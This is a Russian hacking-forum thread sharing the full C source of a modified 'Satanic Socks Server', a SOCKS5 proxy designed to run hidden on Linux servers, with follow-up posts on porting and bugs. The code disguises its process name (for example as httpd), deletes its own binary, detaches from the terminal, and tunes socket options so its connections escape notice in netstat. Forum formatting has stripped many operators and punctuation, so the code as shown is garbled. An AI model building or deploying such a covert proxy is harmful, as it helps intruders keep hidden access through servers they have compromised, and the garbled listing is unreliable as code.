Старый 13.08.2010, 02:38   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию Satanic Socks Server - mod for rdot.org

Satanic Socks Server - sss.c v0.66 by drmist/STNC
(mod for rdot.org) v1.1


Отличия от Satanic Socks Server v0.66.170506 (sss.c) by drmist\STNC:
-убрана поддержка windows
+добавлено ограничение на подключения только с заданного IP
+маскировка списке процессов
+режим агрессивного закрытия отработавших сокетов для незаметности в netstat
+исправлен баг, из-за которого sss.c переставал обслуживать сокет через 5-50 минут на современных линуксах.

Пример запуска:
./rdsss httpd
С включенной директивой HIDE прокси маскирует себя в процессах под то, что ему указано при запуске.
Все остальные параметры задаются в исходнике.
В качестве параметра можно указать только имя несуществующего файла, который можно создать, так как программа копирует себя в него.
/usr/sbin/httpd - такие пути больше указывать нельзя.


Цитата:
“Ghost” connections may therefore remain open for up to two hours before the system detects that a connection failed.
При работе оригинального sss и его аналогов в списке соединений накапливается большое количество незавершённых сессий - как входящих, так и исходящих соединений, зависших на этапе TIME_WAIT, FIN_WAIT, CLOSE_WAIT, LAST_ACK. При интенсивном использовании их набирается до сотни, и они сильно бросаются в глаза при вызове netstat.

При включении AGGRESSIVE_TCP прокси старается быть незаметным насколько это вообще возможно - даже под нагрузкой он имеет только ESTABLISHED соединения. (для минимизации количества соединений также можно выключить keep-alive в настройках браузера).
Но не забываем, что присутствие прокси всегда выдаёт открытый порт.

Дополнения и правки приветствуются.

Тестировалось на линуксах, на *BSD должно работать с отключенным AGGRESSIVE_TCP.

PHP код:
// gcc -lpthread rdsss.c -o rdsss
// Usage: ./rdsss fakename

// Satanic Socks Server - sss.c v0.66 by drmist/STNC
// (mod for rdot.org) v1.1a

//#define EXAMPLE 1 This is what disabled option looks like
#define PORT 6128
#define HIDE 1
#define AUTH_ON 1
#define AGGRESSIVE_TCP 1 // Enables SO_LINGER & SO_KEEPALIVE

#ifdef AUTH_ON
  
const char AuthLogin[] = "login";
  const 
char AuthPass[] = "pass";
  
#define SOCKS5_METHOD 0x02      
#else
  #define ALLOWED_IP "127.0.0.1" // you can comment it out to make server public
  #define SOCKS5_METHOD 0x00        
#endif

// Aggressive TCP options. 
#define mTCP_LINGER_TIMEOUT 0 // in seconds. set to 1 or more in case of dropped connections
#define mTCP_KEEPIDLE 10  // default 7200
//      ^^^^^^^^^^^^^ interval between the last data packet sent (simple ACKs are not considered data) and the first
// keepalive probe; after the connection is marked to need keepalive, this counter is not used any further
#define mTCP_KEEPINTVL 5  // default 75
//      ^^^^^^^^^^^^^^ interval between subsequential keepalive probes, regardless of what the connection has exchanged in the meantime         
#define mTCP_KEEPCNT 1 // default 9
//      ^^^^^^^^^^^^ number of unacknowledged probes to send before considering the connection dead and notifying the    application layer     

#define BUFF_SIZE 1024

#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
#include "netdb.h"

#include <pthread.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <netinet/tcp.h>
#include "arpa/inet.h"

typedef int SOCKET;
typedef int bool;
typedef int __stdcall;

#define SOCKET_ERROR -1
#define INVALID_SOCKET -1

#define false 0
#define true 1

#define SD_BOTH SHUT_RDWR

#define _malloc malloc
#define closesocket close

#define SOCKS_VERSION 0x05
#define SOCKS_SUCCESS 0x00
#define SOCKS_FAILURE 0x01
#define SOCKS_CONNECTION_REFUSED 0x05
#define SOCKS_CMD_NOT_SUPPORTED 0x07

typedef struct
{

  
char_ConnectStruct;
  
SOCKET From;
  
SOCKET To;
  
char Buff[BUFF_SIZE];
  
charError;

SOCKSPIPE;

typedef SOCKSPIPELPSOCKSPIPE;

typedef struct _CONNECTSTRUCT
{

  
SOCKSPIPE FromStruct;
  
SOCKSPIPE ToStruct;
  
char Error;

CONNECTSTRUCT;

typedef CONNECTSTRUCTLPCONNECTSTRUCT;

LPCONNECTSTRUCT CreateConnectStruct(SOCKET FromSOCKET To)
{
  
LPCONNECTSTRUCT Result = (LPCONNECTSTRUCT)_malloc(sizeof(CONNECTSTRUCT));

  
Result->FromStruct._ConnectStruct = (char*)Result;
  
Result->FromStruct.From From;
  
Result->FromStruct.To To;
  
Result->FromStruct.Error = &(Result->Error);

  
Result->ToStruct._ConnectStruct = (char*)Result;
  
Result->ToStruct.From To;
  
Result->ToStruct.To From;
  
Result->ToStruct.Error = &(Result->Error);

  
Result->Error 0x00;

  return 
Result;
}

bool swrite(SOCKET scharBuffint buff_size)
{
  
int bytes;

  while(
buff_size 0)
  {
    
bytes send(sBuffbuff_size0);

    if((
bytes == 0)||(bytes == SOCKET_ERROR))
      return 
false;
    
buff_size -= bytes;
    
Buff += bytes;
  }

  return 
true;
}

bool sread(SOCKET scharBuffint buff_size)
{
  
int bytes;

  while(
buff_size 0)
  {
    
bytes recv(sBuffbuff_size0);

    if((
bytes == 0)||(bytes == SOCKET_ERROR))
      return 
false;

    
buff_size -= bytes;
    
Buff += bytes;
  }

  return 
true;
}

void *SocksPipevoidPPipeStruct)
{
  
LPSOCKSPIPE PipeStruct = (LPSOCKSPIPEPPipeStruct;
  
int bytes;

  do
  {
    
bytes recv(PipeStruct->FromPipeStruct->BuffBUFF_SIZE0);

    if((
bytes == 0) || (bytes == SOCKET_ERROR))
      break;

    if(*(
PipeStruct->Error) & 0x01)
    {
      *(
PipeStruct->Error) |= 0x02;
      return 
0;
    }

    if(!
swrite(PipeStruct->ToPipeStruct->Buffbytes))
    {
      *(
PipeStruct->Error) |= 0x02;
      return 
0;
    }
  }
  while(!(*(
PipeStruct->Error) & 0x01));

  if(*(
PipeStruct->Error) & 0x01)
    *(
PipeStruct->Error) |= 0x02;
  else
  {
    *(
PipeStruct->Error) |= 0x01;
    
shutdown(PipeStruct->FromSD_BOTH);
    
shutdown(PipeStruct->ToSD_BOTH);
    
closesocket(PipeStruct->From);
    
closesocket(PipeStruct->To);

    while(!(*(
PipeStruct->Error) & 0x02))
    {
      
sleep(1);
    }

    
free(PipeStruct->_ConnectStruct);
  }

  return 
0;
}

bool Socks5SendCode(SOCKET schar CodecharTempBuffcharipcharport)
{
  *(
int*)TempBuff 0x1000000 | (Code << 8) | SOCKS_VERSION;
  *(
int*)(TempBuff 4) = *(int*)ip;
  *(
short*)(TempBuff 8) = *(short*)port;

  return 
swrite(sTempBuff10);
}

SOCKET Socks5ServConnect(SOCKET scharTempBuffcharipu_short port)
{
  
struct sockaddr_in saddr;
  
SOCKET Redir socket(AF_INETSOCK_STREAM0);

  if(
Redir == INVALID_SOCKET)
    
Socks5SendCode(sSOCKS_FAILURETempBuffip, (char*)&port);
  else
  {
    
bzero(&saddrsizeof(struct sockaddr_in));
    
saddr.sin_family AF_INET;
    
saddr.sin_addr.s_addr = *(in_addr_t*)ip;
    
saddr.sin_port port;

    if(
connect(Redir, (struct sockaddr*)&saddrsizeof(struct sockaddr_in)) == -1)
    {
      
Socks5SendCode(sSOCKS_CONNECTION_REFUSEDTempBuffip, (char*)&port);
      
closesocket(Redir);
      
Redir INVALID_SOCKET;
    }
  }
  return 
Redir;
}

bool Socks5CmdIsSupported(SOCKET schar cmdcharTempBuffcharipcharport)
{
#ifdef ALLOWED_IP
  
struct sockaddr_in peer;
  
socklen_t peer_len;
  
peer_len sizeof(peer);
  if (
getpeername(s, (struct sockaddr *) &peer, &peer_len) == -1)
      return 
false;
  
char s_ip[20];
  
sprintf(s_ip,"%s",inet_ntoa(peer.sin_addr));
  if(
strcmp(s_ip,ALLOWED_IP)) 
  {
    
Socks5SendCode(sSOCKS_CMD_NOT_SUPPORTEDTempBuffipport);
    return 
false;
  }
#endif
  
if(cmd != 0x01// 0x02 - bind; 0x03 - udp associate
  
{
    
Socks5SendCode(sSOCKS_CMD_NOT_SUPPORTEDTempBuffipport);
    return 
false;
  }

  return 
true;
}

bool Socks5GetCmd(SOCKET scharTempBuffcharcmdcharipcharport)
{
  
struct hostenthp;
  
char DnLen;
  
char AddrType;
  
char Tmp[5];

  if(!
sread(sTempBuff4))
    return 
false;

  if((
TempBuff[0] != SOCKS_VERSION)||(TempBuff[2] != 0x00))
    return 
false;

  *
cmd TempBuff[1];
  
AddrType TempBuff[3];

  switch(
AddrType)
  {
    case 
0x01// ip v4
      
if(!sread(sip4))
        return 
false;
      break;

    case 
0x03// domain name

      
if(!sread(s, &DnLen1))
        return 
false;
      if(
DnLen == 0)
        return 
false;
      if(!
sread(sTempBuffDnLen))
        return 
false;
      
TempBuff[(int)DnLen] = 0x00;

      if ((
hp gethostbyname(TempBuff)) == NULL)
    return 
false;

      if(((int)
hp == -1)||((int)hp == 0))
      {
        if(!
sread(sport2))
          return 
false;

        *(
int*)(&Tmp) = 0x03000405;
        *(
char*)(&Tmp 4) = DnLen;

        if(
swrite(sTmp5))
          if(
swrite(sTempBuffDnLen))
            
swrite(sport2);

        return 
false;
      }
      else
        *(
int*)ip = *(int*)hp->h_addr;

      break;

    case 
0x04:  // ip v6, not supported
      
*(int*)(&Tmp) = 0x04000805;

      if(
sread(sTempBuff16))
        if(
sread(sport2))
          if(
swrite(sTmp4))
            if(
swrite(sTempBuff16))
              
swrite(sport2);

      return 
false;

    default:
      return 
false;
  }

  return 
sread(sport2);
}

#ifdef AUTH_ON

  
bool Socks5Auth(SOCKET scharTempBuff)
  {
    
char Login[256];
    
char LoginLen;
    
char PassLen;
    
char Status '\xFF';
    if(!
sread(sTempBuff2))
      return 
false;

    
LoginLen TempBuff[1];

    if((
TempBuff[0] != 0x01)||(LoginLen == 0))
      return 
false;

    if(!
sread(sLoginLoginLen+1))
      return 
false;

    
PassLen Login[LoginLen];

    if(!
PassLen)
      return 
false;

    
Login[LoginLen] = 0x00;

    if(!
sread(sTempBuffPassLen))
      return 
false;

    
TempBuff[PassLen] = 0x00;

    if((
strcmp(AuthLoginLogin) == 0)&&(strcmp(AuthPassTempBuff) == 0))
      
Status 0x00;

    *(
short*)TempBuff = (Status << 8) | 0x01;

    if(!
swrite(sTempBuff2))
      return 
false;

    return (
Status == 0x00);
  }

#endif

bool Socks5Accept(SOCKET scharTempBuff)
{
  
char MethodsCount;
  
char Cmd '\xFF';

  if(!
sread(sTempBuff2))
    return 
false;

  
MethodsCount TempBuff[1];

  if((
TempBuff[0] != SOCKS_VERSION)||(MethodsCount == 0))
    return 
false;

  if(!
sread(sTempBuffMethodsCount))
    return 
false;

  do
  {
    
MethodsCount--;

    if(
TempBuff[(int)MethodsCount] == SOCKS5_METHOD)
    {
      
Cmd TempBuff[(int)MethodsCount];
      break;
    }
  }
  while(
MethodsCount 0);

  *(
short*)TempBuff = (Cmd << 8) | SOCKS_VERSION;

  if(!
swrite(sTempBuff2))
    return 
false;

#ifdef AUTH_ON
  
return (Cmd == 0xFF) ? false Socks5Auth(sTempBuff);
#else
  
return (Cmd != 0xFF);
#endif

}

void *AcceptThread(void *ss)
{
  
SOCKET s = (SOCKETss;
  
SOCKET Redir;
  
LPCONNECTSTRUCT ConnectStruct;
  
char TempBuff[256];
  
char cmd;
  
char ip[4];
int retval;


pthread_attr_t        attr;
pthread_t             thread;
int                   rc=0;
rc pthread_attr_init(&attr);
rc pthread_attr_setdetachstate(&attrPTHREAD_CREATE_DETACHED);


  
u_short port;
  if(
Socks5Accept(sTempBuff))
    if(
Socks5GetCmd(sTempBuff, &cmdip, (char*)&port))
      if(
Socks5CmdIsSupported(scmdTempBuffip, (char*)&port))
      {
        
Redir Socks5ServConnect(sTempBuffipport);
        if(
Redir != INVALID_SOCKET)
        {
          if(
Socks5SendCode(sSOCKS_SUCCESSTempBuffip, (char*)&port))
          {
            
ConnectStruct CreateConnectStruct(sRedir);
                        
retval pthread_create(&thread, &attrSocksPipe, (void*)&(ConnectStruct->ToStruct));
            
SocksPipe(&(ConnectStruct->FromStruct));
            return 
0;
          }
          
closesocket(Redir);
        }
      }

  
closesocket(s);
  return 
0;
}

int main(int argccharargv[])
{
#ifdef HIDE
  
char*new_argv[argc];
  
char makelink[100];
  
new_argv[0]=argv[1];
  
new_argv[1] = NULL;
  if (
argv[1]) 
  {
    
new_argv[0]=argv[1];
    
printf("Started as:\t%s %s\n",argv[0],argv[1]);
    
sprintf(makelink,"ln %s %s",argv[0],argv[1]);
    
system(makelink);
    
execve(argv[1],new_argv,NULL);
    exit(
0);
  } else {
    
printf("Hidden as:\t%s\n",argv[0]);
    
unlink(argv[0]);
  }
#endif
  
printf("Port:\t\t%d\n",PORT);
  
SOCKET saccepted;
  
struct sockaddr_in saddr;
  
socklen_t saddr_size sizeof(struct sockaddr_in);
  
int retval;

  
pthread_attr_t        attr;
  
pthread_t             thread;
  
int                   rc=0;
  
rc pthread_attr_init(&attr);
  
rc pthread_attr_setdetachstate(&attrPTHREAD_CREATE_DETACHED);


  
socket(AF_INETSOCK_STREAM0);

  if(
!= INVALID_SOCKET)
  {
#ifdef AGGRESSIVE_TCP
  
int optval 1;
  
socklen_t optlen sizeof(optval);
  
struct linger l = { .l_onoff 1, .l_linger mTCP_LINGER_TIMEOUT };

    
setsockopt(sSOL_SOCKETSO_LINGER, &lsizeof(l));
    
setsockopt(sSOL_SOCKETSO_KEEPALIVE, &optvaloptlen);    
    
optval mTCP_KEEPIDLE;
    
setsockopt(sSOL_TCPTCP_KEEPIDLE, &optvaloptlen);
    
optval mTCP_KEEPINTVL;    
    
setsockopt(sSOL_TCPTCP_KEEPINTVL, &optvaloptlen);
    
optval mTCP_KEEPCNT;
    
setsockopt(sSOL_TCPTCP_KEEPCNT, &optvaloptlen);

    
optlen sizeof(l);
    
getsockopt(sSOL_SOCKETSO_LINGER, &l, &optlen);
    
printf("SO_LINGER\t%s\n", (l.l_onoff "ON" "OFF"));
    
optval 1optlen sizeof(optval);
    
getsockopt(sSOL_SOCKETSO_KEEPALIVE, &optval, &optlen);
    
printf("SO_KEEPALIVE\t%s\n", (optval "ON" "OFF"));
    
optlen sizeof(mTCP_KEEPIDLE);
    
getsockopt(sSOL_TCPTCP_KEEPIDLE, &optval, &optlen);
    
printf("TCP_KEEPIDLE\t%d\n"optval);
    
getsockopt(sSOL_TCPTCP_KEEPINTVL, &optval, &optlen);
    
printf("TCP_KEEPINTVL\t%d\n"optval);
    
getsockopt(sSOL_TCPTCP_KEEPCNT, &optval, &optlen);
    
printf("TCP_KEEPCNT\t%d\n"optval);
#endif
#ifdef HIDE
  
if (fork() == 0
 {
  
setsid();
  
close(0);
  
close(1);
  
close(2);
#endif

    
bzero(&saddrsizeof(struct sockaddr_in));

    
saddr.sin_family AF_INET;
    
saddr.sin_port htons(PORT);

    if(
bind(s, (struct sockaddr*)&saddrsizeof(struct sockaddr_in)) != SOCKET_ERROR)
      if(
listen(s0) != SOCKET_ERROR)
        for(;;)
        {
          
accepted accept(s, (struct sockaddr*)&saddr, &saddr_size);
          if(
accepted != INVALID_SOCKET)
            
retval pthread_create(&thread, &attrAcceptThread, (void*)accepted);
        }
    
printf("Can't bind\n");
    
closesocket(s);
  }
#ifdef HIDE
 
}
#endif
  
return 0;


Последний раз редактировалось tipsy; 25.07.2012 в 18:56.. Причина: update
tipsy вне форума   Ответить с цитированием
Старый 30.04.2011, 12:25   #2
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

Порт под винду ожидается? сорри если что-то пропустил)
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 30.04.2011, 14:50   #3
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Оригинальный sss.c v0.66.170506 должен без проблем компилироваться под винду.
tipsy вне форума   Ответить с цитированием
Старый 30.04.2011, 15:49   #4
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

Он стабилен под виндой?
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 03.05.2011, 00:54   #5
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Неизвестно. Предполагаю, что стабилен.
tipsy вне форума   Ответить с цитированием
Старый 03.05.2011, 12:21   #6
Ins3t
 
Регистрация: 05.07.2010
Сообщений: 8
Репутация: 0
По умолчанию

tipsy, ну как же вы его писали и не можете ответить на такой простой вопрос.
ArtOfHack Slon, нет, не стабилен, как минимум из за метода hide()
Ins3t вне форума   Ответить с цитированием
Старый 04.05.2011, 22:08   #7
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Ins3t, я код из первого поста не писал. Я доделал/поправил то, что меня огорчало в линукс-версии, убрав при этом поддержку win*, поскольку такой операционной системы (и возможности компилировать/тестировать под ней) у меня нет. Об этом недвусмысленно написано в первом посте.

Мой ответ #5 относился к упомянутому в моём ответе #3 оригинальному sss.c v0.66.170506

Повторю его ещё раз: Полагаю (предположение), что оригинальный sss.c (который легко нагуглить) под windows стабилен без моих правок.

Надеюсь так понятно.
tipsy вне форума   Ответить с цитированием
Старый 25.07.2012, 16:40   #8
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Два человека писали, что при работе через rdsss.c обрезаются длинные странички и рвётся загрузка файлов.
Я на тестовых системах такое поведение воспроизвести не смог.
В случае любых странностей закомментируйте HIDE и AGGRESSIVE_TCP, получится оригинальный сатаник с багфиксами.

Апдейт.
-другой hide
-возвращён оригинальный код авторизации
-подробно расписано, чего где подкрутить, если вы поймали вышеописанный баг с разрывом соединений.

Upd: и ещё апдейт, спасибо overxor

Последний раз редактировалось tipsy; 25.07.2012 в 18:57..
tipsy вне форума   Ответить с цитированием
Старый 03.09.2012, 04:31   #9
Signal
 
Регистрация: 03.09.2012
Сообщений: 1
Репутация: 0
По умолчанию

Помему-то не работает прокси на линуксе
вернее запускается, вроде работает, но при проверки proxyfierom
пишет
[25:35] Testing Started.
Proxy Server
Address: xx.xx.xx.xx:6529
Protocol: SOCKS 5
Authentication: YES
Username: admin

[25:35] Starting: Test 1: Connection to the Proxy Server
[25:35] IP Address: xx.xx.xx.xx:6529
[25:36] Connection established
[25:36] Test passed.
[25:36] Starting: Test 2: Connection through the Proxy Server
[25:36] Warning : the proxy server has returned an unexpected answer (0x2).
[25:36] Error : the proxy server uses unsupported methods.
[25:36] Test failed.
[25:36] Testing Finished.

Пытался отключить аутентификацию, тож самое происходит, только
[35:07] Warning : the proxy server has returned an unexpected answer (0xFFFFFFFF).

Последний раз редактировалось Signal; 03.09.2012 в 04:36..
Signal вне форума   Ответить с цитированием
Старый 05.09.2012, 22:20   #10
CryNet
 
Регистрация: 20.07.2012
Сообщений: 6
Репутация: 1
По умолчанию

А сколько весит скомпилированая тулза? Как раз нужен прокси сервер под никсы
CryNet вне форума   Ответить с цитированием
Ответ

Метки
socks

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot